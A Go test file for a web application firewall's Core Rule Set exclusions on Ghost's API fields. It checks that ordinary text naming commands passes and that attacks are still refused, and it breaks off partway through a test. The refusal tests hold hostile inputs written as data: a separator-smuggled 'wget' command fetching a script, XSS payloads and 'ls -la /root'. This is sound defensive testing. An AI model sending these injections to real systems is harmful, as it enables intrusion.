check / check (push) Waiting to run
Ghost 6.76.0 was sent the fields not yet recorded with python3, powershell, ls -la and .htaccess. Fixes in ghost.conf: - eight rules that refused words naming commands and files, 932235 among them, for staff profiles, setup, invitations, tiers, offers, recommendations, integrations, webhooks, feature images, comments, the CSV import's labels, ActivityPub, and source and the utm_ fields; - 932235 for the existing plain-text fields and code injection; - filter skips six more rules, for title:~'powershell & python3'; - pathname skips 930120, 932120 and 932260; - invitation addresses, email_segment, a tag's canonical_url, and ActivityPub's handles, actorUri and domain; - a tag's code injection skips what a post's does. Model: opus-5-5
1057 lines
34 KiB
Go
1057 lines
34 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
|
const ghostThreshold = 5
|
|
|
|
// Paths of Ghost's Admin API, Content API and members' API.
|
|
const (
|
|
ghostPosts = "/ghost/api/admin/posts/"
|
|
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
|
|
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
|
|
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
|
|
ghostMembers = "/ghost/api/admin/members/"
|
|
ghostSettings = "/ghost/api/admin/settings/"
|
|
ghostSession = "/ghost/api/admin/session/"
|
|
ghostSetup = "/ghost/api/admin/authentication/setup/"
|
|
ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
|
|
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
|
ghostMember = "/members/api/member/"
|
|
ghostMagicLink = "/members/api/send-magic-link/"
|
|
ghostInvites = "/ghost/api/admin/invites/"
|
|
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
|
|
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
|
|
ghostOffers = "/ghost/api/admin/offers/"
|
|
ghostRecommended = "/ghost/api/admin/recommendations/"
|
|
ghostTags = "/ghost/api/admin/tags/"
|
|
ghostImport = "/ghost/api/admin/members/upload/"
|
|
ghostComments = "/members/api/comments/"
|
|
ghostNote = "/.ghost/activitypub/v1/actions/note"
|
|
ghostAccount = "/.ghost/activitypub/v1/account"
|
|
ghostAliases = "/.ghost/activitypub/v1/aliases"
|
|
ghostMigration = "/.ghost/activitypub/v1/migration"
|
|
ghostDomain = "/.ghost/activitypub/v1/domain"
|
|
)
|
|
|
|
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := servingApps(t, map[string][]string{
|
|
giteaHost: {gitea}, otherHost: {"ghost"},
|
|
})
|
|
|
|
// A filter, which only Ghost's fixes let through.
|
|
filter := get(ghostPosts + "?filter=tag:powershell")
|
|
|
|
wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{})
|
|
wantResult(t, crs, withHost(filter, giteaHost), matched(932120))
|
|
}
|
|
|
|
// ghostField is a field of a JSON body Ghost receives: the request that
|
|
// sends it, and its body, with VALUE where the field's value goes.
|
|
type ghostField struct{ method, target, body string }
|
|
|
|
// with returns f's body holding value, escaped for JSON.
|
|
func (f ghostField) with(t *testing.T, value string) string {
|
|
t.Helper()
|
|
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
return strings.ReplaceAll(
|
|
f.body,
|
|
"VALUE",
|
|
string(quoted[1:len(quoted)-1]),
|
|
)
|
|
}
|
|
|
|
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostTextFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`,
|
|
},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/pages/",
|
|
`{"pages":[{"slug":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/tags/",
|
|
`{"tags":[{"name":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/tags/",
|
|
`{"tags":[{"description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/labels/",
|
|
`{"labels":[{"name":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostMembers,
|
|
`{"members":[{"labels":[{"name":"VALUE"}]}]}`,
|
|
},
|
|
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostNewsletter,
|
|
`{"newsletters":[{"sender_name":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/snippets/",
|
|
`{"snippets":[{"name":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPut, ghostMember, ghostMemberName},
|
|
|
|
// A staff user's profile, the first staff user, an invitation accepted.
|
|
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
|
|
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
|
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
|
|
|
|
// Tiers, offers, recommendations, integrations and webhooks.
|
|
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
|
|
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostTiers,
|
|
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
|
|
},
|
|
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
|
|
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
|
|
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostOffers,
|
|
`{"offers":[{"display_description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostRecommended,
|
|
`{"recommendations":[{"title":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostRecommended,
|
|
`{"recommendations":[{"description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostRecommended,
|
|
`{"recommendations":[{"excerpt":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/integrations/",
|
|
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/webhooks/",
|
|
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
|
|
},
|
|
|
|
// A feature image's alt text and caption.
|
|
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"feature_image_caption":` +
|
|
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
|
|
},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
|
|
|
|
// A member's comment, written and edited.
|
|
ghostNewComment,
|
|
{
|
|
http.MethodPut,
|
|
ghostComments + "6af5426ae56ecb0001938894/",
|
|
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
|
|
},
|
|
|
|
// ActivityPub: a note, a reply, the description of their image, and the
|
|
// account.
|
|
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
|
|
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
|
|
{http.MethodPost, ghostNote, ghostNoteImage},
|
|
{http.MethodPost, ghostReply, ghostNoteImage},
|
|
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
|
|
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
|
|
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
|
|
}
|
|
|
|
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a struct
|
|
var ghostNewComment = ghostField{
|
|
http.MethodPost,
|
|
ghostComments,
|
|
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
|
|
}
|
|
|
|
// ghostComment is the HTML of an ordinary comment, with a link.
|
|
const ghostComment = `Try <strong>python3</strong>, then ` +
|
|
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
|
|
|
|
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
|
|
// image, with VALUE as the image's description.
|
|
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
|
|
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
|
|
|
|
// ghostReply is the path that posts a reply to a note in ActivityPub.
|
|
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
|
|
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
|
|
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
|
|
|
|
// ghostMemberName is the body that saves a member's name at /members/api/.
|
|
const ghostMemberName = `{"name":"VALUE"}`
|
|
|
|
// ghostAddressFields hold a member's or a staff user's email address and skip
|
|
// 930120, 932120 and 932260.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddressFields = []ghostField{
|
|
{
|
|
http.MethodPost,
|
|
ghostMagicLink,
|
|
`{"email":"VALUE","emailType":"signup"}`,
|
|
},
|
|
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
|
|
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
|
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
|
|
{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostPasswordReset,
|
|
`{"password_reset":[{"email":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
|
|
}
|
|
|
|
// ghostHandleFields hold an account's handle in ActivityPub, which the admin
|
|
// sends as an @ followed by an address, with no spaces. They skip 930120 and
|
|
// 932120.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostHandleFields = []ghostField{
|
|
{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
|
|
{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
|
|
}
|
|
|
|
// ghostDomainFields hold the domain of the site's handle in ActivityPub and
|
|
// skip 930120, 932120 and 932260.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostDomainFields = []ghostField{
|
|
{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
|
|
{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
|
|
}
|
|
|
|
// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
|
|
// address of an account removed from those that move here in ActivityPub.
|
|
// They skip 930120 and 932120, as url does.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostURLFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
|
|
{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
|
|
{
|
|
http.MethodPut,
|
|
ghostTags + "6af45d4ed281b00001a599a8/",
|
|
`{"tags":[{"canonical_url":"VALUE"}]}`,
|
|
},
|
|
{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
|
|
}
|
|
|
|
// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
|
|
// <script> element by 900366.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostPostFields = []ghostField{
|
|
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
|
|
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
|
|
{
|
|
http.MethodPost,
|
|
ghostPosts + "?source=html",
|
|
`{"posts":[{"html":"VALUE"}]}`,
|
|
},
|
|
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
|
|
}
|
|
|
|
// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
|
|
// footer, skip the rules of 900355, and still refuse a <script> element.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostSnippetAndNewsletterFooterFields = []ghostField{
|
|
{
|
|
http.MethodPost,
|
|
"/ghost/api/admin/snippets/",
|
|
`{"snippets":[{"lexical":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostNewsletter,
|
|
`{"newsletters":[{"footer_content":"VALUE"}]}`,
|
|
},
|
|
}
|
|
|
|
// ghostArticleFields hold an article and skip the rules of 900355.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostArticleFields = slices.Concat(
|
|
ghostPostFields,
|
|
ghostSnippetAndNewsletterFooterFields,
|
|
)
|
|
|
|
// ghostCodeFields hold code injection or a setting, skip the rules of 900356
|
|
// and 900378, and take a <script> element by 900366 and 900378.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostCodeFields = []ghostField{
|
|
{
|
|
http.MethodPut,
|
|
ghostPost,
|
|
`{"posts":[{"codeinjection_head":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostPage,
|
|
`{"pages":[{"codeinjection_foot":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut, ghostSettings,
|
|
`{"settings":[{"key":"title","value":"Blog"},` +
|
|
`{"key":"codeinjection_head","value":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPost,
|
|
ghostTags,
|
|
`{"tags":[{"codeinjection_head":"VALUE"}]}`,
|
|
},
|
|
{
|
|
http.MethodPut,
|
|
ghostTags + "6af45d4ed281b00001a599a8/",
|
|
`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
|
|
},
|
|
}
|
|
|
|
// The query fields that skip some rules, each ending in "=".
|
|
const (
|
|
ghostAdminFilter = ghostPosts + "?limit=30&filter="
|
|
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
|
|
ghostSearch = ghostMembers + "?limit=100&search="
|
|
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
|
|
ghostStats = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
|
|
ghostPathname = ghostStats + "&pathname="
|
|
ghostSource = ghostStats + "&source="
|
|
ghostCampaign = ghostStats + "&utm_campaign="
|
|
ghostSegment = ghostPost + "?newsletter=default-newsletter&email_segment="
|
|
ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
|
|
ghostInvitedEmail = ghostInvitation + "?email="
|
|
)
|
|
|
|
// ghostAnalyticsFilters are source and the utm_ fields, which filter the
|
|
// analytics, each ending in "=".
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAnalyticsFilters = []string{
|
|
ghostSource,
|
|
ghostStats + "&utm_source=",
|
|
ghostStats + "&utm_medium=",
|
|
ghostCampaign,
|
|
ghostStats + "&utm_content=",
|
|
ghostStats + "&utm_term=",
|
|
}
|
|
|
|
// ghostQueryFields are the query fields that skip some rules.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostQueryFields = []string{
|
|
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
|
|
ghostPathname, ghostSource, ghostCampaign, ghostSegment,
|
|
ghostAccountSearch, ghostInvitedEmail,
|
|
}
|
|
|
|
// ghostCommandNames joins two command names, as an ordinary title can.
|
|
const ghostCommandNames = "powershell & python3"
|
|
|
|
// ghostURLs are addresses 930120 and 932120 refused in url and in
|
|
// ghostURLFields.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostURLs = []string{
|
|
"https://github.com/example/site/blob/main/.htaccess",
|
|
"https://example.com/blog/powershell-tips?ref=ghost",
|
|
"https://example.com/docs/python3/",
|
|
"https://example.com/blog/powershell/",
|
|
"https://example.com/blog/.htaccess/",
|
|
}
|
|
|
|
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAddresses = []string{
|
|
"erin.htaccess@example.com",
|
|
"python3.dev@example.com",
|
|
"dave.powershell@example.com",
|
|
}
|
|
|
|
// ghostDomains are domains 930120, 932120 and 932260 refused.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostDomains = []string{
|
|
"erin.htaccess.example.com",
|
|
"python3.example.com",
|
|
"powershell.example.com",
|
|
}
|
|
|
|
// ghostArticle is an ordinary article with a code block, an HTML card and an
|
|
// embed, which each of the rules of 900355 refused.
|
|
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
|
|
`<pre><code>#!/usr/bin/env python3
|
|
cat /etc/hosts | grep example
|
|
ls -la /var/www/html/.htaccess
|
|
powershell -ExecutionPolicy Bypass -File build.ps1
|
|
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
|
|
document.querySelectorAll('a').forEach((a) => console.log(a.href));
|
|
window.onload = () => alert('ready');</code></pre>` +
|
|
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
|
|
`<img src="https://images.example.com/banner.png" ` +
|
|
`onclick="this.classList.toggle('big')">`
|
|
|
|
// ghostCodeInjection is ordinary code injection for the head of a page.
|
|
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
|
|
`<link rel="preconnect" href="https://fonts.example.com">` +
|
|
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
|
|
|
|
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
|
|
// holding value, or lets it through.
|
|
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
|
|
t.Helper()
|
|
|
|
r := request{f.method, f.target, []string{jsonBody}}
|
|
body := f.with(t, value)
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, body)
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf(
|
|
"%s %s %.300s let through: %+v",
|
|
f.method,
|
|
f.target,
|
|
body,
|
|
got,
|
|
)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
|
|
}
|
|
}
|
|
|
|
// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
|
|
// target, a query field and its value, or lets it through.
|
|
func wantGhostQuery(t *testing.T, target string, refused bool) {
|
|
t.Helper()
|
|
|
|
got := inspect(t, atDefaults(t), get(target))
|
|
if refused && got.Score < ghostThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
|
|
if !refused && got.Score >= ghostThreshold {
|
|
t.Errorf("%s refused: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
|
|
fields := slices.Concat(
|
|
ghostTextFields,
|
|
ghostArticleFields,
|
|
ghostCodeFields,
|
|
)
|
|
for _, f := range fields {
|
|
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
|
|
}
|
|
|
|
// filter as the admin's pickers write it, and search as typed.
|
|
wantGhostQuery(
|
|
t,
|
|
ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"),
|
|
false,
|
|
)
|
|
wantGhostQuery(
|
|
t,
|
|
ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"),
|
|
false,
|
|
)
|
|
wantGhostQuery(t, ghostSearch+encoded, false)
|
|
}
|
|
|
|
for _, address := range ghostURLs {
|
|
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
|
|
|
|
for _, f := range ghostURLFields {
|
|
wantGhostField(t, f, address, false)
|
|
}
|
|
}
|
|
|
|
for _, address := range ghostAddresses {
|
|
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
|
|
wantGhostField(t, f, address, false)
|
|
}
|
|
}
|
|
|
|
for _, domain := range ghostDomains {
|
|
for _, f := range ghostDomainFields {
|
|
wantGhostField(t, f, domain, false)
|
|
}
|
|
}
|
|
|
|
for _, f := range ghostArticleFields {
|
|
wantGhostField(t, f, ghostArticle, false)
|
|
}
|
|
|
|
for _, f := range ghostCodeFields {
|
|
wantGhostField(t, f, ghostCodeInjection, false)
|
|
}
|
|
|
|
wantGhostField(t, ghostNewComment, ghostComment, false)
|
|
wantGhostField(
|
|
t,
|
|
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
|
|
"A terminal running ls -la on .htaccess with python3",
|
|
false,
|
|
)
|
|
|
|
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
|
|
url.QueryEscape(
|
|
"tag:powershell+status:[draft,scheduled,published,sent]",
|
|
), false)
|
|
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
|
|
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
|
|
}
|
|
|
|
// ghostWidget is an HTML card that embeds a widget with its script.
|
|
const ghostWidget = `<div id="signup"></div>` +
|
|
`<script src="https://widgets.example.com/form.js" async></script>`
|
|
|
|
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
|
|
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
|
|
`"html":"<div id=\"signup\"></div><script ` +
|
|
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
|
|
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
|
|
|
|
// ghostAnalytics is code injection that loads analytics.
|
|
const ghostAnalytics = `<script defer ` +
|
|
`src="https://analytics.example.com/script.js"></script>`
|
|
|
|
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// An HTML card in a post, as the editor saves it, and as integrations
|
|
// send it.
|
|
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
|
|
|
|
for _, f := range ghostPostFields {
|
|
wantGhostField(t, f, ghostWidget, false)
|
|
}
|
|
|
|
// Site code injection, saved in settings, and a post's, a page's or a
|
|
// tag's own.
|
|
for _, f := range ghostCodeFields {
|
|
wantGhostField(t, f, ghostAnalytics, false)
|
|
}
|
|
}
|
|
|
|
// ghostAttacks are an SQL injection and a path traversal, not escaped.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var ghostAttacks = []string{injection, pathTraversal}
|
|
|
|
// commandAfterASeparator is a shell command after a ";", not escaped.
|
|
const commandAfterASeparator = "; wget http://example.com/x.sh"
|
|
|
|
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range ghostAttacks {
|
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
|
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
|
ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, attack, true)
|
|
}
|
|
|
|
for _, target := range ghostQueryFields {
|
|
wantGhostQuery(t, target+url.QueryEscape(attack), true)
|
|
}
|
|
}
|
|
|
|
// A script injection stays refused in every field that does not take a
|
|
// <script> element.
|
|
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
|
|
ghostHandleFields, ghostDomainFields, ghostURLFields,
|
|
ghostSnippetAndNewsletterFooterFields) {
|
|
wantGhostField(t, f, scriptTag, true)
|
|
}
|
|
|
|
for _, target := range ghostQueryFields {
|
|
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
|
|
}
|
|
|
|
// A command after a separator stays refused wherever 932235 does not
|
|
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
|
|
// url, pathname, email_segment and email. The other fields skip 932235,
|
|
// which refuses "powershell & python3" as it refuses this.
|
|
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
|
|
ghostDomainFields, ghostURLFields) {
|
|
wantGhostField(t, f, commandAfterASeparator, true)
|
|
}
|
|
|
|
for _, target := range []string{
|
|
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
|
|
ghostInvitedEmail,
|
|
} {
|
|
wantGhostQuery(
|
|
t,
|
|
target+url.QueryEscape(commandAfterASeparator),
|
|
true,
|
|
)
|
|
}
|
|
|
|
// A comment keeps the rules for scripts and HTML.
|
|
wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
|
|
wantGhostField(
|
|
t,
|
|
ghostNewComment,
|
|
`<a href="javascript:alert(1)">x</a>`,
|
|
true,
|
|
)
|
|
|
|
// The articles and code injection carry HTML on purpose, but a
|
|
// javascript: link is still refused there, and a script element in
|
|
// snippets and a newsletter's footer.
|
|
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
|
|
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
|
|
}
|
|
|
|
for _, f := range ghostSnippetAndNewsletterFooterFields {
|
|
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
|
|
}
|
|
|
|
// An address and the domain keep 932250, which refuses a listing of
|
|
// files. A handle keeps it too, but its @ comes before any command.
|
|
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
|
|
wantGhostField(t, f, "ls -la /root", true)
|
|
}
|
|
}
|
|
|
|
func TestGhostTwoCommandNamesPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// The site's title, saved through settings.
|
|
siteTitle := ghostField{
|
|
http.MethodPut,
|
|
ghostSettings,
|
|
`{"settings":[{"key":"title","value":"VALUE"}]}`,
|
|
}
|
|
wantGhostField(t, siteTitle, ghostCommandNames, false)
|
|
|
|
// Values that join two command names, as a person types them.
|
|
for _, typed := range []string{
|
|
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
|
|
"ls -la & python3",
|
|
} {
|
|
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
|
|
wantGhostField(t, f, typed, false)
|
|
}
|
|
|
|
wantGhostImportLabel(t, ghostImport, typed, false)
|
|
|
|
for _, target := range slices.Concat(
|
|
ghostAnalyticsFilters,
|
|
[]string{ghostAccountSearch},
|
|
) {
|
|
wantGhostQuery(t, target+url.QueryEscape(typed), false)
|
|
}
|
|
|
|
// filter as the admin's post picker writes it, after a person types
|
|
// such a title.
|
|
filter := "status:published+title:~'" + typed + "'"
|
|
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
|
|
}
|
|
}
|
|
|
|
// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
|
|
// pages, email_segment, the search of ActivityPub and the check of an
|
|
// invitation.
|
|
func TestGhostOrdinaryQueriesPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, encoded := range hardValues {
|
|
value, _ := url.QueryUnescape(encoded)
|
|
text := url.QueryEscape("Notes on " + value + " & tidy files")
|
|
|
|
for _, target := range ghostAnalyticsFilters {
|
|
wantGhostQuery(t, target+encoded, false)
|
|
}
|
|
|
|
wantGhostQuery(t, ghostCampaign+text, false)
|
|
wantGhostQuery(t, ghostAccountSearch+text, false)
|
|
}
|
|
|
|
// pathname, the page the analytics show: a post and two tag pages.
|
|
for _, path := range []string{
|
|
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
|
|
} {
|
|
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
|
|
}
|
|
|
|
wantGhostQuery(
|
|
t,
|
|
ghostCampaign+url.QueryEscape(ghostCommandNames),
|
|
false,
|
|
)
|
|
wantGhostQuery(
|
|
t,
|
|
ghostAccountSearch+"%40powershell%40example.com",
|
|
false,
|
|
)
|
|
|
|
for _, segment := range []string{
|
|
"label:powershell-users", "label:python3", "label:ls-la",
|
|
"label:htaccess", "status:free,tier:powershell-club",
|
|
} {
|
|
wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
|
|
}
|
|
|
|
for _, address := range ghostAddresses {
|
|
